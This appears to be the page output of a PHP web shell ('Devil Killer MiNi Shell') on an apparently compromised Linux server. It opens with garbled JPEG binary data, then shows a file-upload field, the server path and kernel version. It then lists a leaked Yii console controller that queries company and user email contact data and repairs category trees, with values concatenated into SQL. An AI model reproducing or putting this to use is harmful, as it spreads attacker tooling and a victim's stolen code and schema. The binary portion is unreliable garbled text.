JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/ImportFixController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use \yii\helpers\Console;
use common\models\GeoCommunesTypes;
use common\models\GeoLocalitiesTypes;
use common\models\GeoRegions;
use common\models\GeoCounties;
use common\models\GeoLocalities;
use common\models\GeoPna;

class ImportFixController extends Controller
{     
//    public function actionTestNewMongodb()
//    {
//        $data = [];
//        $data['name'] = 'Grupa 2';
//        $data['emails'] = ['qqq@o2.pl', 'aaa@o2.pl'];
//        $data['created_at'] = new \MongoDB\BSON\UTCDateTime(); 
//        $data['updated_at'] = new \MongoDB\BSON\UTCDateTime();
//        Yii::$app->mongodb->getCollection('emails_sets')->save($data);
//    }
    
    public $limit;
    public $offset;
    
    public function options($actionID)
    {
        return ['limit', 'offset'];
    }
    
    public function actionGenerateDisabledEmailsList()
    {
        $sql = "SELECT companies_contact_data.id_contact_data, companies_contact_data.id_company, companies_contact_data.data_value, companies.name AS company_name, 
                companies_contact_data.settings->'purposes'->>'or_mailings' AS or_mailing 
                FROM companies_contact_data 
                INNER JOIN companies ON companies.id_company = companies_contact_data.id_company  
                WHERE companies_contact_data.data_type = 'EMAIL' 
                        AND companies_contact_data.updated_at > '2019-10-26' 
                        AND (companies_contact_data.settings->'purposes'->>'or_mailings')::int = 0  
                ORDER BY companies_contact_data.updated_at DESC";        
        $rows = Yii::$app->db->createCommand($sql)->queryAll();        
        $this->generateCsvFile('companies_contact_data', $rows, ['ID', 'ID firmy', 'Email', 'Nazwa firmy', 'Czy aktywne mailingi']);
        
        $sql = "SELECT companies_branches_contact_data.id_contact_data, companies_branches.id_company, companies_branches_contact_data.data_value, companies.name AS company_name, 
                companies_branches_contact_data.settings->'purposes'->>'or_mailings' AS or_mailing 
                FROM companies_branches_contact_data  
                INNER JOIN companies_branches ON companies_branches.id_branch = companies_branches_contact_data.id_branch 
                INNER JOIN companies ON companies.id_company = companies_branches.id_company  
                WHERE companies_branches_contact_data.data_type = 'EMAIL' 
                        AND companies_branches_contact_data.updated_at > '2019-10-26' 
                        AND (companies_branches_contact_data.settings->'purposes'->>'or_mailings')::int = 0  
                ORDER BY companies_branches_contact_data.updated_at DESC";
        $rows = Yii::$app->db->createCommand($sql)->queryAll();        
        $this->generateCsvFile('companies_branches_contact_data', $rows, ['ID', 'ID firmy', 'Email', 'Nazwa firmy', 'Czy aktywne mailingi']);
        
        $sql = "SELECT companies_departments_contact_data.id_contact_data, companies_departments.id_company, companies_departments_contact_data.data_value, companies.name AS company_name, 
                companies_departments_contact_data.settings->'purposes'->>'or_mailings' AS or_mailing 
                FROM companies_departments_contact_data  
                INNER JOIN companies_departments ON companies_departments.id_department = companies_departments_contact_data.id_department 
                INNER JOIN companies ON companies.id_company = companies_departments.id_company  
                WHERE companies_departments_contact_data.data_type = 'EMAIL' 
                        AND companies_departments_contact_data.updated_at > '2019-10-26' 
                        AND (companies_departments_contact_data.settings->'purposes'->>'or_mailings')::int = 0  
                ORDER BY companies_departments_contact_data.updated_at DESC";
        $rows = Yii::$app->db->createCommand($sql)->queryAll();        
        $this->generateCsvFile('companies_departments_contact_data', $rows, ['ID', 'ID firmy', 'Email', 'Nazwa firmy', 'Czy aktywne mailingi']);
        
        $sql = "SELECT companies_employees_contact_data.id_contact_data, companies_employees.id_company, companies_employees_contact_data.data_value, companies.name AS company_name, 
                companies_employees_contact_data.settings->'purposes'->>'or_mailings' AS or_mailing 
                FROM companies_employees_contact_data  
                INNER JOIN companies_employees ON companies_employees.id_employee = companies_employees_contact_data.id_employee 
                INNER JOIN companies ON companies.id_company = companies_employees.id_company  
                WHERE companies_employees_contact_data.data_type = 'EMAIL' 
                        AND companies_employees_contact_data.updated_at > '2019-10-26' 
                        AND (companies_employees_contact_data.settings->'purposes'->>'or_mailings')::int = 0  
                ORDER BY companies_employees_contact_data.updated_at DESC";
        $rows = Yii::$app->db->createCommand($sql)->queryAll();        
        $this->generateCsvFile('companies_employees_contact_data', $rows, ['ID', 'ID firmy', 'Email', 'Nazwa firmy', 'Czy aktywne mailingi']);
        
        $sql = "SELECT users_contact_data.id_contact_data, users_contact_data.id_user, users_contact_data.data_value, users.forename || ' ' || users.surname AS users_name, 
                users_contact_data.settings->'purposes'->>'or_mailings' AS or_mailing 
                FROM users_contact_data 
                INNER JOIN users ON users.id_user  = users_contact_data.id_user   
                WHERE users_contact_data.data_type = 'EMAIL' 
                        AND users_contact_data.updated_at > '2019-10-26' 
                        AND (users_contact_data.settings->'purposes'->>'or_mailings')::int = 0  
                ORDER BY users_contact_data.updated_at DESC";
        $rows = Yii::$app->db->createCommand($sql)->queryAll();        
        $this->generateCsvFile('users_contact_data', $rows, ['ID', 'ID użytkownika', 'Email', 'Imię i nazwisko', 'Czy aktywne mailingi']);
        
    }
    
    protected function generateCsvFile($filename, $rows, $header)
    {
        if(empty($rows)) {
            return;
        }
        
        $fp = fopen( Yii::getAlias('@runtime/temp/').$filename.'.csv', 'w');
        fputcsv($fp, $header);
        foreach ($rows as $row) {
            fputcsv($fp, $row);
        }
        fclose($fp);
        
        return;
    }
    
    public function actionFixProductsCategoriesTrees()
    {        
        $sql = 'SELECT products_categories.* FROM products_categories 
                LEFT OUTER JOIN products_has_products_categories ON products_has_products_categories.id_category = products_categories.id_category 
                WHERE products_categories.name = \'INNE_2\' 
                    AND products_has_products_categories.id_product IS NULL 
                ORDER BY products_categories.id_portal, products_categories."left"';
        $categories = Yii::$app->db->createCommand($sql)->queryAll();
        if(empty($categories)) {
            return;
        }
     
        $transaction = Yii::$app->db->beginTransaction();
        foreach($categories as $category) {
            Yii::$app->db->createCommand('DELETE FROM products_categories WHERE id_category = '.$category['id_category'])->execute();
            Yii::$app->db->createCommand('UPDATE products_categories SET "left" = "left" - 2 WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$category['left'])->execute();
            Yii::$app->db->createCommand('UPDATE products_categories SET "right" = "right" - 2 WHERE id_portal = '.$category['id_portal'].' AND "right" > '.$category['left'])->execute();
        }
        
        $transaction->commit();
        
        return Controller::EXIT_CODE_NORMAL;  
    }
    
    public function actionFixBulkProductsCategories()
    {        
        $sql = 'SELECT products_categories.* FROM products_categories 
                WHERE products_categories.name = \'INNE_2\' 
                ORDER BY products_categories.id_portal, products_categories."left"';
        $categories = Yii::$app->db->createCommand($sql)->queryAll();
        if(empty($categories)) {
            return Controller::EXIT_CODE_NORMAL; 
        }

        $transaction = Yii::$app->db->beginTransaction();
        
        $swappedCategories = [];
        $idsCategoriesForDelete = [];
        foreach($categories as $category) {
            $sql = 'SELECT * FROM products_categories WHERE id_portal = '.$category['id_portal'].' AND "left" < '.$category['left'].' AND "right" > '.$category['right'].' AND depth = '.($category['depth']-1);
            $parentCategory = Yii::$app->db->createCommand($sql)->queryOne();

            $sql = 'SELECT id_category FROM products_categories WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$parentCategory['left'].' AND "right" < '.$parentCategory['right'].' AND name IN (\'Inne\',\'inne\',\'Pozostałe\',\'pozostałe\')';
            $otherNameCategory = Yii::$app->db->createCommand($sql)->queryOne();
            if(!$otherNameCategory) {
                Yii::$app->db->createCommand('UPDATE products_categories SET name = \'Inne\' WHERE id_category = '.$category['id_category'])->execute();
            } else {
                $sql = 'SELECT id_product FROM products_has_products_categories WHERE id_category = '.$otherNameCategory['id_category'];
                $productsInOtherNameCategory = Yii::$app->db->createCommand($sql)->queryAll();
                if(!empty($productsInOtherNameCategory)) {
                    $ids = [];
                    foreach($productsInOtherNameCategory as $productInOtherNameCategory) {
                        $ids[] = $productInOtherNameCategory['id_product'];
                    }
                    
                    Yii::$app->db->createCommand('UPDATE products_has_products_categories SET id_category = '.$otherNameCategory['id_category'].' WHERE id_category = '.$category['id_category'].' AND id_product NOT IN ('.implode(",", $ids).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM products_has_products_categories WHERE id_category = '.$category['id_category'])->execute();
                } else {
                    Yii::$app->db->createCommand('UPDATE products_has_products_categories SET id_category = '.$otherNameCategory['id_category'].' WHERE id_category = '.$category['id_category'])->execute();
                }
                
                $swappedCategories[$category['id_category']] = $otherNameCategory['id_category'];
                $idsCategoriesForDelete[] = $category['id_category'];
            }
        } 

        if(!empty($idsCategoriesForDelete)) {            
            $sql = 'SELECT products_categories.* FROM products_categories 
                    WHERE id_category IN ('.implode(",", $idsCategoriesForDelete).')  
                    ORDER BY products_categories.id_portal, products_categories."left"';
            $categories = Yii::$app->db->createCommand($sql)->queryAll();
            foreach($categories as $category) {
                Yii::$app->db->createCommand('DELETE FROM products_categories WHERE id_category = '.$category['id_category'])->execute();
                Yii::$app->db->createCommand('UPDATE products_categories SET "left" = "left" - 2 WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$category['left'])->execute();
                Yii::$app->db->createCommand('UPDATE products_categories SET "right" = "right" - 2 WHERE id_portal = '.$category['id_portal'].' AND "right" > '.$category['left'])->execute();
            }
        }
        
        $transaction->commit();
        
        if(!empty($idsCategoriesForDelete)) { 
            foreach($idsCategoriesForDelete as $idCategoryForDelete) {
                if(isset($swappedCategories[$idCategoryForDelete])) {
                    //edycja
                    Yii::$app->mongodb->getCollection('import_products_categories')->update(['target_id' => (string)$idCategoryForDelete], ['target_id' => (string)$swappedCategories[$idCategoryForDelete]]);
                } else {
                    //usuwamy wpis
                    Yii::$app->mongodb->getCollection('import_products_categories')->remove(['target_id' => (string)$idCategoryForDelete]);
                }
            }
        }
        
        return Controller::EXIT_CODE_NORMAL; 
    }
    
    public function actionFixCompaniesCategoriesTrees()
    {
        $sql = 'SELECT companies_categories.* FROM companies_categories 
                LEFT OUTER JOIN companies_presentations_has_companies_categories ON companies_presentations_has_companies_categories.id_category = companies_categories.id_category 
                WHERE companies_categories.name = \'INNE_2\' 
                    AND companies_presentations_has_companies_categories.id_presentation IS NULL 
                ORDER BY companies_categories.id_portal, companies_categories."left"';
        $categories = Yii::$app->db->createCommand($sql)->queryAll();
        if(empty($categories)) {
            return;
        }
     
        $transaction = Yii::$app->db->beginTransaction();
        foreach($categories as $category) {
            Yii::$app->db->createCommand('DELETE FROM companies_categories WHERE id_category = '.$category['id_category'])->execute();
            Yii::$app->db->createCommand('UPDATE companies_categories SET "left" = "left" - 2 WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$category['left'])->execute();
            Yii::$app->db->createCommand('UPDATE companies_categories SET "right" = "right" - 2 WHERE id_portal = '.$category['id_portal'].' AND "right" > '.$category['left'])->execute();
        }
        
        $transaction->commit();
        
        return Controller::EXIT_CODE_NORMAL;  
    }
    
    public function actionFixBulkCompaniesCategories()
    {
        $sql = 'SELECT companies_categories.* FROM companies_categories 
                WHERE companies_categories.name = \'INNE_2\' 
                ORDER BY companies_categories.id_portal, companies_categories."left"';
        $categories = Yii::$app->db->createCommand($sql)->queryAll();
        if(empty($categories)) {
            return Controller::EXIT_CODE_NORMAL; 
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $swappedCategories = [];        
        $idsCategoriesForDelete = [];
        foreach($categories as $category) {
            $sql = 'SELECT * FROM companies_categories WHERE id_portal = '.$category['id_portal'].' AND "left" < '.$category['left'].' AND "right" > '.$category['right'].' AND depth = '.($category['depth']-1);
            $parentCategory = Yii::$app->db->createCommand($sql)->queryOne();

            $sql = 'SELECT id_category FROM companies_categories WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$parentCategory['left'].' AND "right" < '.$parentCategory['right'].' AND name IN (\'Inne\',\'inne\',\'Pozostałe\',\'pozostałe\')';
            $otherNameCategory = Yii::$app->db->createCommand($sql)->queryOne();
            if(!$otherNameCategory) {
                Yii::$app->db->createCommand('UPDATE companies_categories SET name = \'Inne\' WHERE id_category = '.$category['id_category'])->execute();
            } else {
                $sql = 'SELECT id_presentation FROM companies_presentations_has_companies_categories WHERE id_category = '.$otherNameCategory['id_category'];
                $presentationsInOtherNameCategory = Yii::$app->db->createCommand($sql)->queryAll();
                if(!empty($presentationsInOtherNameCategory)) {
                    $ids = [];
                    foreach($presentationsInOtherNameCategory as $presentationInOtherNameCategory) {
                        $ids[] = $presentationInOtherNameCategory['id_presentation'];
                    }
                    
                    Yii::$app->db->createCommand('UPDATE companies_presentations_has_companies_categories SET id_category = '.$otherNameCategory['id_category'].' WHERE id_category = '.$category['id_category'].' AND id_presentation NOT IN ('.implode(",", $ids).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM companies_presentations_has_companies_categories WHERE id_category = '.$category['id_category'])->execute();                    
                } else {
                    Yii::$app->db->createCommand('UPDATE companies_presentations_has_companies_categories SET id_category = '.$otherNameCategory['id_category'].' WHERE id_category = '.$category['id_category'])->execute();
                }
                
                $idsCategoriesForDelete[] = $category['id_category'];
                $swappedCategories[$category['id_category']] = $otherNameCategory['id_category'];
            }
        } 
        
        if(!empty($idsCategoriesForDelete)) {            
            $sql = 'SELECT companies_categories.* FROM companies_categories 
                    WHERE id_category IN ('.implode(",", $idsCategoriesForDelete).')  
                    ORDER BY companies_categories.id_portal, companies_categories."left"';
            $categories = Yii::$app->db->createCommand($sql)->queryAll();
            foreach($categories as $category) {
                Yii::$app->db->createCommand('DELETE FROM companies_categories WHERE id_category = '.$category['id_category'])->execute();
                Yii::$app->db->createCommand('UPDATE companies_categories SET "left" = "left" - 2 WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$category['left'])->execute();
                Yii::$app->db->createCommand('UPDATE companies_categories SET "right" = "right" - 2 WHERE id_portal = '.$category['id_portal'].' AND "right" > '.$category['left'])->execute();
            }
        }
        
        $transaction->commit();
        
        if(!empty($idsCategoriesForDelete)) { 
            foreach($idsCategoriesForDelete as $idCategoryForDelete) {
                if(isset($swappedCategories[$idCategoryForDelete])) {
                    //edycja
                    Yii::$app->mongodb->getCollection('import_companies_categories')->update(['target_id' => (string)$idCategoryForDelete], ['target_id' => (string)$swappedCategories[$idCategoryForDelete]]);
                } else {
                    //usuwamy wpis
                    Yii::$app->mongodb->getCollection('import_companies_categories')->remove(['target_id' => (string)$idCategoryForDelete]);
                }
            }
        }
        
        return Controller::EXIT_CODE_NORMAL; 
    }
    
    public function actionFixBulkAdvertisementsCategories()
    {
        $sql = 'SELECT advertisements_categories.* FROM advertisements_categories 
                WHERE advertisements_categories.name = \'INNE_2\' 
                ORDER BY advertisements_categories.id_portal, advertisements_categories."left"';
        $categories = Yii::$app->db->createCommand($sql)->queryAll();
        if(empty($categories)) {
            return Controller::EXIT_CODE_NORMAL; 
        }
       
        $transaction = Yii::$app->db->beginTransaction();
     
        $swappedCategories = [];
        $idsCategoriesForDelete = [];
        foreach($categories as $category) {
            $sql = 'SELECT * FROM advertisements_categories WHERE id_portal = '.$category['id_portal'].' AND "left" < '.$category['left'].' AND "right" > '.$category['right'].' AND depth = '.($category['depth']-1);
            $parentCategory = Yii::$app->db->createCommand($sql)->queryOne();

            $sql = 'SELECT id_category FROM advertisements_categories WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$parentCategory['left'].' AND "right" < '.$parentCategory['right'].' AND name IN (\'Inne\',\'inne\',\'Pozostałe\',\'pozostałe\')';
            $otherNameCategory = Yii::$app->db->createCommand($sql)->queryOne();
            if(!$otherNameCategory) {
                Yii::$app->db->createCommand('UPDATE advertisements_categories SET name = \'Inne\' WHERE id_category = '.$category['id_category'])->execute();
            } else {
                Yii::$app->db->createCommand('UPDATE advertisements SET id_category = '.$otherNameCategory['id_category'].' WHERE id_category = '.$category['id_category'])->execute();                
                $idsCategoriesForDelete[] = $category['id_category'];
                $swappedCategories[$category['id_category']] = $otherNameCategory['id_category'];
            }
        } 
        
        if(!empty($idsCategoriesForDelete)) {            
            $sql = 'SELECT advertisements_categories.* FROM advertisements_categories 
                    WHERE id_category IN ('.implode(",", $idsCategoriesForDelete).')  
                    ORDER BY advertisements_categories.id_portal, advertisements_categories."left"';
            $categories = Yii::$app->db->createCommand($sql)->queryAll();
            foreach($categories as $category) {
                Yii::$app->db->createCommand('DELETE FROM advertisements_categories WHERE id_category = '.$category['id_category'])->execute();
                Yii::$app->db->createCommand('UPDATE advertisements_categories SET "left" = "left" - 2 WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$category['left'])->execute();
                Yii::$app->db->createCommand('UPDATE advertisements_categories SET "right" = "right" - 2 WHERE id_portal = '.$category['id_portal'].' AND "right" > '.$category['left'])->execute();
            }
        }
        
        $transaction->commit();
        
        if(!empty($idsCategoriesForDelete)) { 
            foreach($idsCategoriesForDelete as $idCategoryForDelete) {
                if(isset($swappedCategories[$idCategoryForDelete])) {
                    //edycja
                    Yii::$app->mongodb->getCollection('import_advertisements_categories')->update(['target_id' => (string)$idCategoryForDelete], ['target_id' => (string)$swappedCategories[$idCategoryForDelete]]);
                } else {
                    //usuwamy wpis
                    Yii::$app->mongodb->getCollection('import_advertisements_categories')->remove(['target_id' => (string)$idCategoryForDelete]);
                }
            }
        }
        
        return Controller::EXIT_CODE_NORMAL;  
    }
    
    public function actionFixBulkAdvertisementsCategories_old()
    {
        $sql = 'SELECT advertisements_categories.* FROM advertisements_categories 
                LEFT OUTER JOIN advertisements ON advertisements.id_category = advertisements_categories.id_category 
                WHERE advertisements_categories.name = \'INNE_2\' 
                    AND advertisements.id_advertisement IS NULL 
                ORDER BY advertisements_categories.id_portal, advertisements_categories."left"';
        $categories = Yii::$app->db->createCommand($sql)->queryAll();
        var_dump($categories); exit;
        if(empty($categories)) {
            return;
        }
     
        $transaction = Yii::$app->db->beginTransaction();
        foreach($categories as $category) {
            Yii::$app->db->createCommand('DELETE FROM advertisements_categories WHERE id_category = '.$category['id_category'])->execute();
            Yii::$app->db->createCommand('UPDATE advertisements_categories SET "left" = "left" - 2 WHERE id_portal = '.$category['id_portal'].' AND "left" > '.$category['left'])->execute();
            Yii::$app->db->createCommand('UPDATE advertisements_categories SET "right" = "right" - 2 WHERE id_portal = '.$category['id_portal'].' AND "right" > '.$category['left'])->execute();
        }
        
        $transaction->rollBack();
        
        return Controller::EXIT_CODE_NORMAL;  
    }
    
    public function actionCompaniesContactDataVisibility() 
    {
        exit;
        $modelsPresentations = \common\models\CompaniesPresentations::find()
                ->with(['company.contactData'])
                ->where('id_presentation > 2323')
                ->offset(0)
                ->limit(300)
                ->orderBy('id_presentation')
                ->all();
        if(!empty($modelsPresentations)) {            
            foreach($modelsPresentations as $modelPresentation) {
                if(empty($modelPresentation->company->contactData)) {
                    continue;
                }
                $transaction = Yii::$app->db->beginTransaction();
                echo "\n".'Prezentacja ID: '.$modelPresentation->id_presentation.' - ';
                $idsContactDataItems = [];
                foreach($modelPresentation->company->contactData as $modelContactData) {
                    $idsContactDataItems[] = (string)$modelContactData->id_contact_data;
                }
                $modelPresentation->setSettingsKey('visible_contact_data_items', $idsContactDataItems);
                $flag = $modelPresentation->saveSettings();
                if($flag) {
                    $transaction->commit();
                    echo 'zapisana';
                } else {
                    $transaction->rollBack();
                }
            }
        }
        
        return Controller::EXIT_CODE_NORMAL;        
    }
    
//    public function actionArticlesSrc() 
//    {
//        exit;
//        $modelsArticles = \common\models\Articles::find()
//                ->where('id_article > 200')
////                ->andWhere('id_article = 1139')
//                ->offset(2)
//                ->limit(500)
//                ->orderBy('id_article')
//                ->all();
//        if(!empty($modelsArticles)) {            
//            foreach($modelsArticles as $modelArticle) {                          
//                if(strpos($modelArticle->content, 'src="/www.vmanager-common.dev/uploads/images/articles//content/') === false) {
//                    continue;
//                }
//                $transaction = Yii::$app->db->beginTransaction();      
//                echo "\n".'Artykul ID: '.$modelArticle->id_article.' - ';
//                $modelArticle->content = preg_replace('|src="/www\.vmanager-common\.dev/uploads/images/articles//content/|i', 'src="http://www.vmanager-common.test/uploads/images/articles/'.$modelArticle->id_article.'/content/', $modelArticle->content);
//                $flag = $modelArticle->save(false);
//                if($flag) {
//                    $transaction->commit();
//                    echo 'zapisany';
//                } else {
//                    $transaction->rollBack();
//                    echo 'blad';
//                }
//            }
//        }
//        
//        return Controller::EXIT_CODE_NORMAL;        
//    }
    
    public function actionConvertTrees()
    {
        exit;
        $categories = Yii::$app->db2->createCommand('SELECT * FROM companies_categories ORDER BY id_category')->queryAll();
        $idCategory = 4000;
        $outputData = '';
        foreach($categories as $category) {
            $sql = Yii::$app->dbVortale2->createCommand()->insert('kategorie', [
                'id_kategorii' => $idCategory,
                'kategoria_nazwa' => $category['name'],
                'kategoria_nazwa_seo' => $category['name'],
                'lewa' => $category['left'],
                'prawa' => $category['right'],
                'glebokosc' => $category['depth'],
                'jezyk' => 'pl',
                'id_portal' => $category['id_portal']
            ])->getRawSql();
            
            $idCategory++;
            
            $outputData .= $sql.";\n";
            
//            echo $sql."\n";
        }
        
        file_put_contents(Yii::getAlias('@runtime/temp/').'kategorie.sql', $outputData);
    }
    
    public function actionArticlesSrc() 
    {
        exit;
        $modelsArticles = \common\models\Articles::find()
//                ->where('id_article > 200')
//                ->andWhere('id_article = 1139')
//                ->offset(0)
                ->limit(500)
                ->orderBy('id_article')
                ->all();
        if(!empty($modelsArticles)) {            
            foreach($modelsArticles as $modelArticle) {                          
                if(strpos($modelArticle->content, 'http://www.vmanager-common.test/uploads/images/articles/'.$modelArticle->id_article.'/content/') === false) {
                    continue;
                }
                $transaction = Yii::$app->db->beginTransaction();      
                echo "\n".'Artykul ID: '.$modelArticle->id_article.' - ';
                //http://www.vmanager-common.test/uploads/images/articles/736/content/0_upload_b010f6e888.jpg
//                $modelArticle->content = preg_replace('|src="http://www\.vmanager-common\.dev|i', 'src="http://www.vmanager-common.test', $modelArticle->content);
                $modelArticle->content = preg_replace('|src="http://www\.vmanager-common\.test/uploads/images/articles/'.$modelArticle->id_article.'/content/|i', 'src="http://www.vmanager-common.test/uploads/source/articles/'.$modelArticle->id_article.'/', $modelArticle->content);
                $flag = $modelArticle->save(false);
                if($flag) {
                    $transaction->commit();
                    echo 'zapisany';
                } else {
                    $transaction->rollBack();
                    echo 'blad';
                }
            }
        }
        
        return Controller::EXIT_CODE_NORMAL;        
    }
    
    public function actionPresentationsOfferAndAboutCompany()
    {
        $modelsPages = \common\models\CompaniesPresentationsPages::find()
                ->with([
                    'companyTab.presentation'
                ])
                ->join('INNER JOIN', 'companies_presentations_tabs', 'companies_presentations_tabs.id_company_tab = companies_presentations_pages.id_company_tab')
                ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_tabs.id_presentation')
                ->where([
                    'companies_presentations.id_portal' => 8
                ])
                ->andWhere('companies_presentations.id_presentation > 2123')
//                ->offset(0)
//                ->limit(10)
                ->all();
        
        $companiesToUsersMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $companiesToUsersMap[(int)$document['target_id']] = (int)$document['source_id'];
            }
        } 
        
        $sql = 'SELECT pf.opis_wyszukiwarka, pf.id_user, pf.oferta, u.opis_wyszukiwarka AS skrocony_opis_wyszukiwarka
                FROM users u, pakiety_users pu, portal_firmy pf 
                WHERE u.id_user = pu.id_user 
                    AND u.id_user = pf.id_user 
                    AND u.id_portal = 8 
                    AND u.profil = 8 
                    AND u.status = 1 
                    AND pu.id_pakiet > 1 
                ORDER BY pf.id_user ASC';
        $data = [];
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        foreach($rows as $row) {
            $data[intval($row['id_user'])] = [
                'about_company_content' => $this->convertDataLatin2ToUTF8($row['opis_wyszukiwarka']),
                'about_company_lead' => $this->convertDataLatin2ToUTF8($row['skrocony_opis_wyszukiwarka']),
                'offer' => $this->convertDataLatin2ToUTF8($row['oferta'])
            ];
        }
        unset($rows);
        
        $counterOfNotCorrected = 0;
        foreach($modelsPages as $modelPage) {
            $idCompany = $modelPage->companyTab->presentation->id_company;
            if(!isset($companiesToUsersMap[$idCompany]) || !isset($data[$companiesToUsersMap[$idCompany]])) {
                continue;
            }
            
